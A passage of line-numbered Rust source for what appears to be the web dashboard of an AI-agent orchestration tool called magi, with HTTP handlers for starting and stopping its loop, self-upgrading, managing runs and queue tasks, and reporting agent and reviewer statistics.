1811 parking: bool,
1819 owned: bool,
1827 repo: String,
1830 merge: Option<String>,
1833 last_error: Option<String>,
1841 daemon: DaemonView,
1844}
1845
1846#[derive(Debug, Clone, Copy)]
1855struct Foreign {
1856 pid: Option<u32>,
1858}
1859
1860impl Foreign {
1861 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1864 let reading = reading?;
1865 if !reading.running(Timestamp::now()) {
1866 return None;
1867 }
1868 match reading.pid {
1869 Some(pid) if pid == std::process::id() => None,
1870 pid => Some(Self { pid }),
1874 }
1875 }
1876
1877 fn who(&self) -> String {
1880 match self.pid {
1881 Some(pid) => format!("another magi process (pid {pid})"),
1882 None => "another magi process".to_owned(),
1883 }
1884 }
1885}
1886
1887type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1892
1893fn launch_daemon(
1895 opts: daemon::Opts,
1896 stop: daemon::Stop,
1897) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1898 Box::pin(daemon::serve_until(opts, stop))
1899}
1900
1901#[derive(Debug, Default)]
1903struct LoopState {
1904 live: Option<Live>,
1906 rev: u64,
1914 last_error: Option<String>,
1917}
1918
1919#[derive(Debug)]
1921struct Live {
1922 stop: daemon::Stop,
1924 handle: tokio::task::JoinHandle<()>,
1929 opts: daemon::Opts,
1933}
1934
1935impl Live {
1936 fn alive(&self) -> bool {
1938 !self.handle.is_finished()
1939 }
1940}
1941
1942fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1949 state.lock().unwrap_or_else(PoisonError::into_inner)
1950}
1951
1952async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1954 blocking(move || {
1955 let reading = daemon::read_status(&ui.home);
1956 Ok(Json(ui.loop_view(reading)))
1957 })
1958 .await
1959}
1960
1961#[derive(Debug, Deserialize)]
1967#[serde(deny_unknown_fields)]
1968struct LoopCommand {
1969 running: bool,
1970 #[serde(default)]
1980 park: bool,
1981}
1982
1983async fn loop_post(
1991 State(ui): State<Arc<Ui>>,
1992 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1993) -> ApiResult<Json<LoopView>> {
1994 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1997 blocking(move || {
1998 let reading = daemon::read_status(&ui.home);
1999 let foreign = Foreign::of(reading.as_ref());
2000 if body.running {
2001 ui.start_loop(foreign)?;
2002 } else {
2003 ui.stop_loop(foreign, body.park)?;
2004 }
2005 Ok(Json(ui.loop_view(reading)))
2006 })
2007 .await
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeView {
2013 from: String,
2015 to: Option<String>,
2017 parked: Option<String>,
2019 detail: String,
2021}
2022
2023async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2047 let reading = daemon::read_status(&ui.home);
2048 if let Some(other) = Foreign::of(reading.as_ref()) {
2049 return Err(ApiError::conflict(format!(
2050 "the loop belongs to {}, so replacing this binary would leave \
2051 that process running an old one against the same queue. Upgrade \
2052 where it was started.",
2053 other.who()
2054 )));
2055 }
2056
2057 if crate::updater::disabled_by_env() {
2063 return Ok((
2064 StatusCode::OK,
2065 Json(UpgradeView {
2066 from: env!("CARGO_PKG_VERSION").to_owned(),
2067 to: None,
2068 parked: None,
2069 detail: format!(
2070 "Automatic updates are disabled by {}. Nothing was parked \
2071 and nothing restarted.",
2072 crate::updater::NO_AUTOUPDATE_ENV
2073 ),
2074 }),
2075 ));
2076 }
2077
2078 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2083 let from = env!("CARGO_PKG_VERSION").to_owned();
2084 let latest = match crate::updater::Checker::new(&cfg.update) {
2085 Some(checker) => checker
2086 .newer_release()
2087 .await
2088 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2089 None => None,
2090 };
2091 let Some(latest) = latest else {
2092 return Ok((
2093 StatusCode::OK,
2094 Json(UpgradeView {
2095 from,
2096 to: None,
2097 parked: None,
2098 detail: "Already on the newest release. Nothing was parked \
2099 and nothing restarted."
2100 .to_owned(),
2101 }),
2102 ));
2103 };
2104
2105 let parked = ui.park_for_upgrade()?;
2108 let detail = match &parked {
2109 Some(run) => format!(
2114 "Run {} is parking at its next step, which can take as long as \
2115 the step it is on - up to an hour for an implement wave. The \
2116 deck replaces itself once it parks, comes back, and the loop \
2117 carries that run on from where it stopped. Nothing is lost if \
2118 you close this.",
2119 crate::run::short_of(run)
2120 ),
2121 None => "The deck replaces itself and comes back. Nothing was in \
2122 flight to park."
2123 .to_owned(),
2124 };
2125
2126 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2130 progress.parked_run = parked.clone();
2131 let _ = updater::write_progress(&ui.home, &progress);
2132
2133 let home = ui.home.clone();
2134 tokio::spawn(async move {
2135 if let Err(e) = upgrade_and_restart(home.clone()).await {
2136 tracing::error!("the upgrade did not complete: {e:#}");
2137 if let Some(mut progress) = updater::read_progress(&home) {
2138 progress.fail(format!("{e:#}"));
2139 let _ = updater::write_progress(&home, &progress);
2140 }
2141 }
2142 });
2143
2144 Ok((
2145 StatusCode::ACCEPTED,
2146 Json(UpgradeView {
2147 from,
2148 to: Some(latest.tag_name),
2149 parked,
2150 detail,
2151 }),
2152 ))
2153}
2154
2155async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2160 crate::updater::run_self_update(true, false, true).await?;
2163 tracing::info!("binary replaced - asking the server to hand over");
2164 if let Some(mut progress) = updater::read_progress(&home) {
2165 progress.advance(updater::Stage::Replaced);
2166 let _ = updater::write_progress(&home, &progress);
2167 }
2168 HANDOVER.notify_one();
2169 Ok(())
2170}
2171
2172#[derive(Debug, Serialize)]
2178struct RunSummary {
2179 id: String,
2180 short: String,
2181 status: String,
2182 done: bool,
2183 instruction: String,
2184 title: String,
2185 repo: String,
2186 repo_name: String,
2187 created_at: String,
2188 updated_at: String,
2189 candidates: usize,
2190 viable: usize,
2191 judges: usize,
2192 winner: Option<char>,
2193 reviews: usize,
2194 quota_losses: usize,
2195 event: Option<String>,
2196 superseded_by: Option<String>,
2201 waiting: bool,
2208 live: crate::run::Liveness,
2212 pr: Option<crate::run::PrRecord>,
2214 unmerged_by_design: bool,
2220}
2221
2222impl RunSummary {
2223 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2224 Self {
2225 id: state.id.clone(),
2226 short: state.short().to_owned(),
2227 status: status_word(state.status),
2228 done: state.status.done(),
2229 unmerged_by_design: state.unmerged_by_design(),
2230 instruction: state.instruction.clone(),
2231 title: title_from(&state.instruction, TITLE_MAX),
2232 repo: state.repo.display().to_string(),
2233 repo_name: state
2234 .repo
2235 .file_name()
2236 .map(|n| n.to_string_lossy().into_owned())
2237 .unwrap_or_default(),
2238 created_at: state.created_at.to_string(),
2239 updated_at: state.updated_at.to_string(),
2240 candidates: state.candidates.len(),
2241 viable: state.viable().len(),
2242 judges: state.config.graph.judges,
2243 winner: state.winner().map(|c| c.label),
2244 reviews: state.reviews.len(),
2245 quota_losses: state.quota.len(),
2246 event: state.events.last().map(|e| e.message.clone()),
2247 waiting,
2248 live,
2249 superseded_by: None,
2252 pr: state.pr.clone(),
2253 }
2254 }
2255}
2256
2257fn status_word(status: RunStatus) -> String {
2260 status.as_str().to_owned()
2264}
2265
2266#[derive(Debug, Deserialize)]
2268struct ListQuery {
2269 #[serde(default)]
2270 limit: Option<usize>,
2271}
2272
2273async fn runs_list(
2274 State(ui): State<Arc<Ui>>,
2275 Query(q): Query<ListQuery>,
2276) -> ApiResult<Json<Vec<RunSummary>>> {
2277 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2278 blocking(move || {
2279 let superseded = ui.queue.superseded();
2280 let open_runs: HashSet<String> = ui
2284 .questions
2285 .list()
2286 .into_iter()
2287 .filter(|q| q.status.open())
2288 .map(|q| q.run)
2289 .collect();
2290 let claimed: HashSet<String> =
2291 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2292 .into_iter()
2293 .map(|c| c.run)
2294 .collect();
2295 let states = run_ids(&ui.runs)
2296 .into_iter()
2297 .filter_map(|id| read_run(&ui.runs, &id).ok())
2302 .take(limit);
2303 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2304 let summaries = summarize(
2305 states,
2306 &open_runs,
2307 &claimed,
2308 &superseded,
2309 |p| probe.borrow_mut().status(p),
2310 |p| probe.borrow_mut().started_at(p),
2311 );
2312 Ok(Json(summaries))
2313 })
2314 .await
2315}
2316
2317fn summarize<I, S, D>(
2323 states: I,
2324 open_runs: &HashSet<String>,
2325 claimed: &HashSet<String>,
2326 superseded: &HashMap<String, String>,
2327 mut status_q: S,
2328 mut identity_q: D,
2329) -> Vec<RunSummary>
2330where
2331 I: IntoIterator<Item = RunState>,
2332 S: FnMut(u32) -> Option<bool>,
2333 D: FnMut(u32) -> Option<String>,
2334{
2335 states
2336 .into_iter()
2337 .map(|state| {
2338 let waiting = open_runs.contains(&state.id);
2339 let live =
2340 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2341 let mut row = RunSummary::of(&state, waiting, live);
2342 row.superseded_by = superseded
2343 .get(&state.id)
2344 .map(String::as_str)
2345 .map(crate::run::short_of)
2346 .map(str::to_owned);
2347 row
2348 })
2349 .collect()
2350}
2351
2352#[derive(Debug, Serialize)]
2359struct RunDetailView {
2360 #[serde(flatten)]
2361 state: RunState,
2362 instruction_md: Vec<md::Node>,
2363 live: crate::run::Liveness,
2378 unmerged_by_design: bool,
2383 superseded_by: Option<String>,
2391 latest_attempt: Option<LatestAttempt>,
2405}
2406
2407#[derive(Debug, Serialize)]
2409struct LatestAttempt {
2410 id: String,
2411 short: String,
2412 resolved: bool,
2423}
2424
2425impl RunDetailView {
2426 fn of(
2427 state: RunState,
2428 live: crate::run::Liveness,
2429 superseded_by: Option<String>,
2430 latest_attempt: Option<LatestAttempt>,
2431 ) -> Self {
2432 Self {
2433 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2434 live,
2435 unmerged_by_design: state.unmerged_by_design(),
2436 superseded_by,
2437 latest_attempt,
2438 state,
2439 }
2440 }
2441}
2442
2443async fn run_detail(
2444 State(ui): State<Arc<Ui>>,
2445 Path(id): Path<String>,
2446) -> ApiResult<Json<RunDetailView>> {
2447 blocking(move || {
2448 let id = resolve_run(&ui.runs, &id)?;
2449 let state = read_run(&ui.runs, &id)?;
2450 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2451 let live = state.liveness(daemon_claims);
2452 let superseded_by = ui
2453 .queue
2454 .superseded_by(&id)
2455 .as_deref()
2456 .map(crate::run::short_of)
2457 .map(str::to_owned);
2458 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2462 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2463 short: head.short().to_owned(),
2464 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2465 id: head.id,
2466 })
2467 });
2468 Ok(Json(RunDetailView::of(
2469 state,
2470 live,
2471 superseded_by,
2472 latest_attempt,
2473 )))
2474 })
2475 .await
2476}
2477
2478async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2487 let (id, unreadable) = {
2488 let ui = Arc::clone(&ui);
2489 blocking(move || {
2490 let id = resolve_run(&ui.runs, &id)?;
2491 match read_run(&ui.runs, &id) {
2492 Ok(state) => {
2493 let in_flight =
2494 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2495 state
2496 .ensure_can_delete(in_flight)
2497 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2498 let dir = ui.runs.join(&id);
2499 std::fs::remove_dir_all(&dir)
2500 .with_context(|| format!("remove run directory {}", dir.display()))?;
2501 Ok((id, false))
2502 }
2503 Err(_) => {
2504 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2508 return Err(ApiError::conflict(format!(
2509 "run {id} is being worked on by a live daemon right now"
2510 )));
2511 }
2512 Ok((id, true))
2513 }
2514 }
2515 })
2516 .await?
2517 };
2518 if unreadable {
2519 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2520 .await
2521 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2522 }
2523 let ui = Arc::clone(&ui);
2524 let done = id.clone();
2525 blocking(move || {
2526 ui.questions.abandon_for_run(
2529 &done,
2530 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2531 )?;
2532 Ok(())
2533 })
2534 .await?;
2535 Ok(StatusCode::NO_CONTENT)
2536}
2537
2538async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562 let (id, state) = {
2563 let ui = Arc::clone(&ui);
2564 blocking(move || {
2565 let id = resolve_run(&ui.runs, &id)?;
2566 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567 return Err(ApiError::conflict(format!(
2568 "run {id} is being worked on by a live daemon right now"
2569 )));
2570 }
2571 let state = read_run(&ui.runs, &id).ok();
2572 Ok((id, state))
2573 })
2574 .await?
2575 };
2576 let removed = match state {
2577 Some(mut state) => {
2578 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579 .await
2580 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581 if removed.is_empty() {
2586 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588 }
2589 removed
2590 }
2591 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592 .await
2593 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594 };
2595 Ok(Json(FoldView {
2596 run: id,
2597 removed_count: removed.len(),
2598 removed,
2599 }))
2600}
2601
2602#[derive(Debug, Serialize)]
2604struct FoldView {
2605 run: String,
2606 removed: Vec<String>,
2608 removed_count: usize,
2609}
2610
2611#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615 #[serde(default)]
2616 pr_url: String,
2617}
2618
2619async fn run_fold_merged(
2639 State(ui): State<Arc<Ui>>,
2640 Path(id): Path<String>,
2641 Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643 let pr_url = body.pr_url.trim().to_owned();
2644 if pr_url.is_empty() {
2645 return Err(ApiError::bad_request("pr_url is required"));
2646 }
2647 let (id, mut state) = {
2648 let ui = Arc::clone(&ui);
2649 blocking(move || {
2650 let id = resolve_run(&ui.runs, &id)?;
2651 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652 return Err(ApiError::conflict(format!(
2653 "run {id} is being worked on by a live daemon right now"
2654 )));
2655 }
2656 let state = read_run(&ui.runs, &id)?;
2657 Ok((id, state))
2658 })
2659 .await?
2660 };
2661 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662 .await
2663 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665 .await
2666 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667 Ok(Json(FoldMergedView {
2668 run: id,
2669 before: before.as_str().to_owned(),
2670 after: after.as_str().to_owned(),
2671 removed,
2672 }))
2673}
2674
2675#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678 run: String,
2679 before: String,
2681 after: String,
2683 removed: Vec<String>,
2685}
2686
2687async fn run_resume(
2707 State(ui): State<Arc<Ui>>,
2708 Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710 let (id, state) = {
2711 let ui = Arc::clone(&ui);
2712 blocking(move || {
2713 let id = resolve_run(&ui.runs, &id)?;
2714 let state = read_run(&ui.runs, &id)?;
2715 Ok((id, state))
2716 })
2717 .await?
2718 };
2719 if let Some(to) = &state.released_to {
2720 return Err(ApiError::conflict(format!(
2721 "run {} can no longer be resumed: its worktree was released to run {}, which \
2722 took the branch over.",
2723 state.short(),
2724 crate::run::short_of(to)
2725 )));
2726 }
2727 if !state.status.resumable() {
2728 return Err(ApiError::conflict(format!(
2729 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2730 state.short(),
2731 status_word(state.status)
2732 )));
2733 }
2734 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2739 .into_iter()
2740 .next()
2741 {
2742 return Err(ApiError::conflict(format!(
2743 "the loop is running run {} right now; stop it first, or wait for \
2744 it to finish, before resuming a run by hand.",
2745 crate::run::short_of(&work.run)
2746 )));
2747 }
2748 let _resume = ui.begin_resume(&id)?;
2749
2750 let queued = RunSummary::of(
2753 &state,
2754 !ui.questions.open_for(&id).is_empty(),
2755 state.liveness(false),
2756 );
2757 let run = id.clone();
2758 tokio::spawn(async move {
2759 let _resume = _resume;
2760 match crate::graph::Runner::resume(&run) {
2761 Ok(mut runner) => {
2762 if let Err(e) = runner.execute().await {
2763 tracing::warn!("resume of run {run} stopped: {e:#}");
2764 }
2765 }
2766 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2769 }
2770 });
2771 Ok((StatusCode::ACCEPTED, Json(queued)))
2772}
2773
2774async fn run_report(
2775 State(ui): State<Arc<Ui>>,
2776 Path(id): Path<String>,
2777) -> ApiResult<impl IntoResponse> {
2778 let text = blocking(move || {
2779 let id = resolve_run(&ui.runs, &id)?;
2780 let state = read_run(&ui.runs, &id)?;
2784 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2785 let live = state.liveness(daemon_claims);
2786 Ok(format!(
2787 "{}{}",
2788 report::run(&state),
2789 report::active_seats(&state, live)
2790 ))
2791 })
2792 .await?;
2793 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2794}
2795
2796#[derive(Debug, Serialize)]
2802struct TaskView {
2803 #[serde(flatten)]
2804 task: Task,
2805 source_label: String,
2806 status_str: &'static str,
2807 instruction_md: Vec<md::Node>,
2811 waits_on: Vec<String>,
2815 stuck_roots: Vec<String>,
2818}
2819
2820impl From<Task> for TaskView {
2821 fn from(task: Task) -> Self {
2822 Self {
2823 source_label: task.source.label(),
2824 status_str: task.status.as_str(),
2825 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2826 waits_on: Vec::new(),
2827 stuck_roots: Vec::new(),
2828 task,
2829 }
2830 }
2831}
2832
2833impl TaskView {
2834 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2835 let waits_on = inv.waits_on(&task);
2836 let stuck_roots = inv
2837 .stuck_roots(&task)
2838 .iter()
2839 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2840 .collect();
2841 Self {
2842 waits_on,
2843 stuck_roots,
2844 ..Self::from(task)
2845 }
2846 }
2847}
2848
2849#[derive(Debug, Default, Deserialize)]
2852#[serde(default)]
2853struct ReposQuery {
2854 refresh: u8,
2855}
2856
2857async fn repos_list(
2864 State(ui): State<Arc<Ui>>,
2865 Query(q): Query<ReposQuery>,
2866) -> ApiResult<Json<Vec<repos::Repo>>> {
2867 let refresh = q.refresh != 0;
2868 blocking(move || {
2869 let (cfg, _) = Config::discover(&ui.repo, None)?;
2870 Ok(Json(ui.repos_cache.list(
2871 &cfg.repos.roots,
2872 Duration::from_secs(cfg.repos.scan_ttl),
2873 refresh,
2874 )))
2875 })
2876 .await
2877}
2878
2879async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2880 blocking(move || {
2881 let tasks = ui.queue.list();
2882 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2883 Ok(Json(
2884 tasks
2885 .into_iter()
2886 .map(|t| TaskView::with_inventory(t, &inv))
2887 .collect(),
2888 ))
2889 })
2890 .await
2891}
2892
2893#[derive(Debug, Serialize)]
2897struct RateView {
2898 pct: f64,
2899 denominator: usize,
2900}
2901
2902impl RateView {
2903 fn of(numerator: usize, denominator: usize) -> Option<Self> {
2904 (denominator > 0).then(|| Self {
2905 pct: 100.0 * numerator as f64 / denominator as f64,
2906 denominator,
2907 })
2908 }
2909}
2910
2911#[derive(Debug, Serialize)]
2916struct StatsTotalsView {
2917 runs: usize,
2918 merged: usize,
2919 ready: usize,
2920 blocked: usize,
2921 failed: usize,
2922 stalled: usize,
2923 verified_noop: usize,
2924 superseded: usize,
2925 in_progress: usize,
2926 completion_rate: Option<RateView>,
2927 tallied: usize,
2928 split: usize,
2929 split_rate: Option<RateView>,
2930 deliberated: usize,
2931 minds_changed: usize,
2932 converged: usize,
2933 review_rounds: usize,
2934}
2935
2936impl From<&stats::Totals> for StatsTotalsView {
2937 fn from(t: &stats::Totals) -> Self {
2938 Self {
2939 runs: t.runs,
2940 merged: t.merged,
2941 ready: t.ready,
2942 blocked: t.blocked,
2943 failed: t.failed,
2944 stalled: t.stalled,
2945 verified_noop: t.verified_noop,
2946 superseded: t.superseded,
2947 in_progress: t.in_progress,
2948 completion_rate: RateView::of(t.merged + t.ready, t.runs),
2949 tallied: t.tallied,
2950 split: t.split,
2951 split_rate: RateView::of(t.split, t.tallied),
2952 deliberated: t.deliberated,
2953 minds_changed: t.minds_changed,
2954 converged: t.converged,
2955 review_rounds: t.review_rounds,
2956 }
2957 }
2958}
2959
2960#[derive(Debug, Serialize)]
2962struct AgentStatsView {
2963 agent: String,
2964 entered: usize,
2965 wins: usize,
2966 empty: usize,
2967 win_rate: Option<RateView>,
2968}
2969
2970impl From<&stats::AgentStats> for AgentStatsView {
2971 fn from(a: &stats::AgentStats) -> Self {
2972 Self {
2973 agent: a.agent.clone(),
2974 entered: a.entered,
2975 wins: a.wins,
2976 empty: a.empty,
2977 win_rate: RateView::of(a.wins, a.entered),
2978 }
2979 }
2980}
2981
2982#[derive(Debug, Serialize)]
2986struct ReviewerStatsView {
2987 agent: String,
2988 rounds: usize,
2989 seated: usize,
2990 submitted: usize,
2991 adopted: usize,
2992 unique: usize,
2993 timeouts: usize,
2994 adopted_per_round: Option<f64>,
2995 precision: Option<RateView>,
2996 unique_rate: Option<RateView>,
2997 timeout_rate: Option<RateView>,
2998}
2999
3000impl From<&stats::ReviewerStats> for ReviewerStatsView {
3001 fn from(r: &stats::ReviewerStats) -> Self {
3002 Self {
3003 agent: r.agent.clone(),
3004 rounds: r.rounds,
3005 seated: r.seated,
3006 submitted: r.submitted,
3007 adopted: r.adopted,
3008 unique: r.unique,
3009 timeouts: r.timeouts,
3010 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3011 precision: RateView::of(r.adopted, r.submitted),
3012 unique_rate: RateView::of(r.unique, r.submitted),
3013 timeout_rate: RateView::of(r.timeouts, r.seated),
3014 }
3015 }
3016}
3017
3018#[derive(Debug, Serialize)]
3024struct AdvisorStatsView {
3025 agent: String,
3026 seated: usize,
3027 proposed: usize,
3028 absent: usize,
3029 faint: usize,
3030 strong: usize,
3031 reflection_rate: Option<RateView>,
3032}
3033
3034impl From<&stats::AdvisorStats> for AdvisorStatsView {
3035 fn from(a: &stats::AdvisorStats) -> Self {
3036 Self {
3037 agent: a.agent.clone(),
3038 seated: a.seated,
3039 proposed: a.proposed,
3040 absent: a.absent,
3041 faint: a.faint,
3042 strong: a.strong,
3043 reflection_rate: RateView::of(a.strong, a.proposed),
3044 }
3045 }
3046}
3047
3048#[derive(Debug, Serialize)]
3050struct E2eStatsView {
3051 rounds: usize,
3052 failures: usize,
3053 sole_detections: usize,
3054 deferred: usize,
3055 sole_rate: Option<RateView>,
3056}
3057
3058impl From<&stats::E2eStats> for E2eStatsView {
3059 fn from(e: &stats::E2eStats) -> Self {
3060 Self {
3061 rounds: e.rounds,
3062 failures: e.failures,
3063 sole_detections: e.sole_detections,
3064 deferred: e.deferred,
3065 sole_rate: RateView::of(e.sole_detections, e.failures),
3066 }
3067 }
3068}
3069
3070#[derive(Debug, Serialize)]
3078struct ReleaseBumpStatsView {
3079 merged: usize,
3080 recorded: usize,
3081 pr_opened: usize,
3082 automerge_enabled: usize,
3083 merged_directly: usize,
3084 needs_attention: usize,
3085 clean: usize,
3086 coverage_rate: Option<RateView>,
3087 automerge_rate: Option<RateView>,
3088 attention_rate: Option<RateView>,
3089}
3090
3091impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3092 fn from(b: &stats::ReleaseBumpStats) -> Self {
3093 Self {
3094 merged: b.merged,
3095 recorded: b.recorded,
3096 pr_opened: b.pr_opened,
3097 automerge_enabled: b.automerge_enabled,
3098 merged_directly: b.merged_directly,
3099 needs_attention: b.needs_attention,
3100 clean: b.clean(),
3101 coverage_rate: RateView::of(b.recorded, b.merged),
3102 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3103 attention_rate: RateView::of(b.needs_attention, b.recorded),
3104 }
3105 }
3106}
3107
3108#[derive(Debug, Serialize)]
3110struct TaskCountsView {
3111 queued: usize,
3112 running: usize,
3113 done: usize,
3114 failed: usize,
3115 held: usize,
3116 blocked: usize,
3117}
3118
3119impl From<crate::queue::TaskCounts> for TaskCountsView {
3120 fn from(c: crate::queue::TaskCounts) -> Self {
3121 Self {
3122 queued: c.queued,
3123 running: c.running,
3124 done: c.done,
3125 failed: c.failed,
3126 held: c.held,
3127 blocked: c.blocked,
3128 }
3129 }
3130}
3131
3132#[derive(Debug, Serialize)]
3138struct RepoSummaryView {
3139 repo: String,
3142 name: String,
3144 runs: usize,
3145 completion_rate: Option<RateView>,
3146}
3147
3148impl From<&stats::RepoStats> for RepoSummaryView {
3149 fn from(r: &stats::RepoStats) -> Self {
3150 let t = &r.stats.totals;
3151 Self {
3152 repo: r.repo.to_string_lossy().into_owned(),
3153 name: r.name.clone(),
3154 runs: t.runs,
3155 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3156 }
3157 }
3158}
3159
3160#[derive(Debug, Serialize)]
3166struct StatsView {
3167 totals: StatsTotalsView,
3168 agents: Vec<AgentStatsView>,
3170 reviewers: Vec<ReviewerStatsView>,
3172 advisors: Vec<AdvisorStatsView>,
3174 e2e: E2eStatsView,
3175 release_bumps: ReleaseBumpStatsView,
3176 queue: TaskCountsView,
3177 runs_unreadable: usize,
3187 repos: Vec<RepoSummaryView>,
3191 repo: Option<String>,
3195}
3196
3197#[derive(Debug, Default, Deserialize)]
3206#[serde(default)]
3207struct StatsQuery {
3208 repo: Option<String>,
3209}
3210
3211async fn stats_get(
3218 State(ui): State<Arc<Ui>>,
3219 Query(q): Query<StatsQuery>,
3220) -> ApiResult<Json<StatsView>> {
3221 blocking(move || {
3222 let states: Vec<RunState> = run_ids(&ui.runs)
3223 .into_iter()
3224 .filter_map(|id| read_run(&ui.runs, &id).ok())
3225 .collect();
3226 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3227 .iter()
3228 .map(RepoSummaryView::from)
3229 .collect();
3230 let collected = match &q.repo {
3231 Some(repo) => {
3232 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3233 if filtered.is_empty() {
3234 return Err(ApiError::not_found(format!(
3235 "no runs recorded against repo `{repo}`"
3236 )));
3237 }
3238 stats::collect_refs(filtered)
3239 }
3240 None => stats::collect(&states),
3241 };
3242 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3243 Ok(Json(StatsView {
3244 totals: StatsTotalsView::from(&collected.totals),
3245 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3246 reviewers: collected
3247 .reviewers
3248 .iter()
3249 .map(ReviewerStatsView::from)
3250 .collect(),
3251 advisors: collected
3252 .advisors
3253 .iter()
3254 .map(AdvisorStatsView::from)
3255 .collect(),
3256 e2e: E2eStatsView::from(&collected.e2e),
3257 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3258 queue: TaskCountsView::from(queue_counts),
3259 runs_unreadable: runs_unreadable(&ui.runs),
3260 repos,
3261 repo: q.repo.clone(),
3262 }))
3263 })
3264 .await
3265}
3266
3267#[derive(Debug, Default, Deserialize)]
3270#[serde(default, deny_unknown_fields)]
3271struct HoldBody {
3272 reason: Option<String>,
3273}
3274
3275async fn queue_hold(
3276 State(ui): State<Arc<Ui>>,
3277 Path(id): Path<String>,
3278 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3279) -> ApiResult<Json<TaskView>> {
3280 let body = match body {
3284 Ok(Json(body)) => body,
3285 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3286 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3287 };
3288 let reason = body.reason.filter(|r| !r.trim().is_empty());
3289 mutate(ui, id, move |t| {
3290 t.hold_manual(reason.clone());
3291 Ok(())
3292 })
3293 .await
3294}
3295
3296async fn queue_release(
3297 State(ui): State<Arc<Ui>>,
3298 Path(id): Path<String>,
3299) -> ApiResult<Json<TaskView>> {
3300 mutate(ui, id, |t| {
3301 t.release();
3302 Ok(())
3303 })
3304 .await
3305}
3306
3307#[derive(Debug, Deserialize)]
3309#[serde(deny_unknown_fields)]
3310struct PriorityBody {
3311 priority: i32,
3312}
3313
3314async fn queue_priority(
3320 State(ui): State<Arc<Ui>>,
3321 Path(id): Path<String>,
3322 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3323) -> ApiResult<Json<TaskView>> {
3324 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3325 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3326}
3327
3328#[derive(Debug, Deserialize)]
3330#[serde(deny_unknown_fields)]
3331struct EditBody {
3332 title: String,
3333 instruction: String,
3334 #[serde(default)]
3337 force: bool,
3338}
3339
3340async fn queue_edit(
3344 State(ui): State<Arc<Ui>>,
